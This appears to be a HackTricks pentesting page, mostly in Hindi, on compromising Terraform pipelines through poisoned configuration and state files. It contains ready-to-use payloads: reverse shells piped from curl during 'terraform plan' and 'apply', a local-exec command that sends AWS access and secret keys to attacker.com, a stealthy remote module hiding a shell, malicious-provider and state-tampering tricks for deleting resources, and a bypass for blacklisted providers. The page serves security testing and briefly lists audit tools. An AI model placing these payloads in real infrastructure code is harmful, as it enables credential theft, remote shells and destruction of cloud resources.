Terraform Security

Support HackTricks

Basic Information

From the docs:

HashiCorp Terraform एक infrastructure as code tool है जो आपको cloud और on-prem resources को मानव-पठनीय कॉन्फ़िगरेशन फ़ाइलों में परिभाषित करने की अनुमति देता है जिन्हें आप संस्करणित, पुन: उपयोग और साझा कर सकते हैं। आप फिर अपने बुनियादी ढांचे के पूरे जीवनचक्र के दौरान सभी संसाधनों को प्रावधान और प्रबंधित करने के लिए एक सुसंगत कार्यप्रवाह का उपयोग कर सकते हैं। Terraform निम्न-स्तरीय घटकों जैसे कंप्यूट, स्टोरेज, और नेटवर्किंग संसाधनों के साथ-साथ उच्च-स्तरीय घटकों जैसे DNS प्रविष्टियों और SaaS सुविधाओं का प्रबंधन कर सकता है।

How does Terraform work?

Terraform क्लाउड प्लेटफार्मों और अन्य सेवाओं पर संसाधनों को उनके एप्लिकेशन प्रोग्रामिंग इंटरफेस (APIs) के माध्यम से बनाता और प्रबंधित करता है। प्रदाता Terraform को किसी भी प्लेटफ़ॉर्म या सेवा के साथ काम करने में सक्षम बनाते हैं जिसमें एक सुलभ API होता है।

HashiCorp और Terraform समुदाय ने पहले से ही 1700 से अधिक प्रदाता लिखे हैं जो हजारों विभिन्न प्रकार के संसाधनों और सेवाओं का प्रबंधन करते हैं, और यह संख्या बढ़ती जा रही है। आप सभी सार्वजनिक रूप से उपलब्ध प्रदाताओं को Terraform Registry पर पा सकते हैं, जिसमें Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, और कई अन्य शामिल हैं।

मुख्य Terraform कार्यप्रवाह तीन चरणों में विभाजित होता है:

  • Write: आप संसाधनों को परिभाषित करते हैं, जो कई क्लाउड प्रदाताओं और सेवाओं में हो सकते हैं। उदाहरण के लिए, आप सुरक्षा समूहों और लोड बैलेंसर के साथ एक वर्चुअल प्राइवेट क्लाउड (VPC) नेटवर्क में वर्चुअल मशीनों पर एक एप्लिकेशन तैनात करने के लिए एक कॉन्फ़िगरेशन बना सकते हैं।

  • Plan: Terraform एक निष्पादन योजना बनाता है जो उस बुनियादी ढांचे का वर्णन करती है जिसे यह बनाएगा, अपडेट करेगा, या नष्ट करेगा, मौजूदा बुनियादी ढांचे और आपकी कॉन्फ़िगरेशन के आधार पर।

  • Apply: स्वीकृति पर, Terraform सही क्रम में प्रस्तावित संचालन करता है, किसी भी संसाधन निर्भरताओं का सम्मान करते हुए। उदाहरण के लिए, यदि आप एक VPC की विशेषताओं को अपडेट करते हैं और उस VPC में वर्चुअल मशीनों की संख्या बदलते हैं, तो Terraform वर्चुअल मशीनों को स्केल करने से पहले VPC को फिर से बनाएगा।

Terraform Lab

बस अपने कंप्यूटर में terraform स्थापित करें।

यहाँ आपके पास एक guide है और यहाँ आपके पास terraform डाउनलोड करने का सबसे अच्छा तरीका है।

RCE in Terraform

Terraform कोई प्लेटफ़ॉर्म नहीं है जो एक वेब पृष्ठ या नेटवर्क सेवा को उजागर करता है जिसे हम सूचीबद्ध कर सकते हैं, इसलिए, terraform को समझौता करने का एकमात्र तरीका है terraform कॉन्फ़िगरेशन फ़ाइलों को जोड़ने/संशोधित करने में सक्षम होना

हालांकि, terraform एक बहुत संवेदनशील घटक है जिसे समझौता करना है क्योंकि इसके पास विभिन्न स्थानों तक विशेषाधिकार प्राप्त पहुंच होगी ताकि यह सही तरीके से काम कर सके।

एक हमलावर के लिए उस सिस्टम को समझौता करने का मुख्य तरीका जहां terraform चल रहा है, है terraform कॉन्फ़िगरेशन को स्टोर करने वाले रिपॉजिटरी को समझौता करना, क्योंकि किसी बिंदु पर उन्हें व्याख्यायित किया जाएगा।

वास्तव में, वहाँ ऐसे समाधान हैं जो PR बनने के बाद terraform plan/apply को स्वचालित रूप से निष्पादित करते हैं, जैसे कि Atlantis:

Atlantis Security

यदि आप terraform फ़ाइल को समझौता करने में सक्षम हैं, तो जब कोई terraform plan या terraform apply निष्पादित करता है, तो RCE करने के लिए आपके पास विभिन्न तरीके हैं।

Terraform plan

Terraform plan terraform में सबसे अधिक उपयोग किया जाने वाला कमांड है और डेवलपर्स/समाधान जो terraform का उपयोग करते हैं, इसे हर समय कॉल करते हैं, इसलिए RCE प्राप्त करने का सबसे आसान तरीका यह सुनिश्चित करना है कि आप एक terraform कॉन्फ़िगरेशन फ़ाइल को विषाक्त करें जो terraform plan में मनमाने आदेशों को निष्पादित करेगी।

Using an external provider

Terraform external provider प्रदान करता है जो Terraform और बाहरी कार्यक्रमों के बीच इंटरफेस करने का एक तरीका प्रदान करता है। आप plan के दौरान मनमानी कोड चलाने के लिए external डेटा स्रोत का उपयोग कर सकते हैं।

एक terraform कॉन्फ़िगरेशन फ़ाइल में निम्नलिखित की तरह कुछ इंजेक्ट करने से terraform plan निष्पादित करते समय एक rev shell निष्पादित होगा:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

कस्टम प्रदाता का उपयोग करना

एक हमलावर कस्टम प्रदाता को Terraform Registry पर भेज सकता है और फिर इसे फीचर ब्रांच में Terraform कोड में जोड़ सकता है (यहां से उदाहरण):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

The provider is downloaded in the init and will run the malicious code when plan is executed

You can find an example in https://github.com/rung/terraform-provider-cmdexec

Using an external reference

दोनों उल्लेखित विकल्प उपयोगी हैं लेकिन बहुत छिपे हुए नहीं हैं (दूसरा अधिक छिपा हुआ है लेकिन पहले से अधिक जटिल है)। आप इस हमले को एक छिपे हुए तरीके से भी कर सकते हैं, इन सुझावों का पालन करके:

  • Terraform फ़ाइल में सीधे rev shell जोड़ने के बजाय, आप एक बाहरी संसाधन लोड कर सकते हैं जिसमें rev shell हो:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

आप रिव शेल कोड https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules पर पा सकते हैं।

  • बाहरी संसाधन में, ref फीचर का उपयोग करें ताकि repo के अंदर एक शाखा में terraform rev shell कोड छिपा सकें, कुछ इस तरह: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

Terraform apply सभी परिवर्तनों को लागू करने के लिए निष्पादित किया जाएगा, आप इसे RCE प्राप्त करने के लिए भी दुरुपयोग कर सकते हैं एक दुर्भावनापूर्ण Terraform फ़ाइल को local-exec** के साथ इंजेक्ट करके।** आपको बस यह सुनिश्चित करने की आवश्यकता है कि निम्नलिखित जैसे कुछ पेलोड main.tf फ़ाइल में समाप्त हो जाएं:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Follow the suggestions from the previous technique the perform this attack in a stealthier way using external references.

Secrets Dumps

आप terraform द्वारा उपयोग किए गए गुप्त मानों को डंप कर सकते हैं terraform apply चलाकर, terraform फ़ाइल में कुछ इस तरह जोड़कर:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Terraform State फ़ाइलों का दुरुपयोग

यदि आपके पास terraform state फ़ाइलों पर लिखने की अनुमति है लेकिन आप terraform कोड को नहीं बदल सकते हैं, तो यह शोध फ़ाइल का लाभ उठाने के लिए कुछ दिलचस्प विकल्प प्रदान करता है:

संसाधनों को हटाना

संसाधनों को नष्ट करने के 2 तरीके हैं:

  1. वास्तविक संसाधन को नष्ट करने के लिए state फ़ाइल में एक यादृच्छिक नाम के साथ एक संसाधन डालें

क्योंकि terraform देखेगा कि संसाधन मौजूद नहीं होना चाहिए, यह इसे नष्ट कर देगा (वास्तविक संसाधन ID के अनुसार जो इंगित किया गया है)। पिछले पृष्ठ से उदाहरण:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. संसाधन को इस तरह से संशोधित करें कि इसे अपडेट करना संभव न हो (ताकि इसे हटाया जा सके और फिर से बनाया जा सके)

EC2 उदाहरण के लिए, उदाहरण के प्रकार को संशोधित करना terraform को इसे हटाने और फिर से बनाने के लिए पर्याप्त है।

RCE

यह भी संभव है कि एक कस्टम प्रदाता बनाएँ और बस terraform स्थिति फ़ाइल में एक प्रदाता को दुर्भावनापूर्ण वाले से बदल दें या दुर्भावनापूर्ण प्रदाता के साथ एक खाली संसाधन जोड़ें। मूल शोध से उदाहरण:

"resources": [
{
"mode": "managed",
"type": "scaffolding_example",
"name": "example",
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
"instances": [

]
},

Replace blacklisted provider

यदि आप ऐसी स्थिति का सामना करते हैं जहाँ hashicorp/external को ब्लैकलिस्ट किया गया है, तो आप निम्नलिखित करके external प्रदाता को फिर से लागू कर सकते हैं। नोट: हम https://registry.terraform.io/providers/nazarewk/external/latest द्वारा प्रकाशित external प्रदाता की एक फोर्क का उपयोग करते हैं। आप अपना खुद का फोर्क या फिर से कार्यान्वयन भी प्रकाशित कर सकते हैं।

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

फिर आप सामान्य के अनुसार external का उपयोग कर सकते हैं।

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

ऑडिट टूल्स

  • tfsec: tfsec आपके terraform कोड का स्थैतिक विश्लेषण करता है ताकि संभावित गलत कॉन्फ़िगरेशन को पहचाना जा सके।

  • terascan: Terrascan इन्फ्रास्ट्रक्चर कोड के लिए एक स्थैतिक कोड विश्लेषक है।

संदर्भ

HackTricks का समर्थन करें

Last updated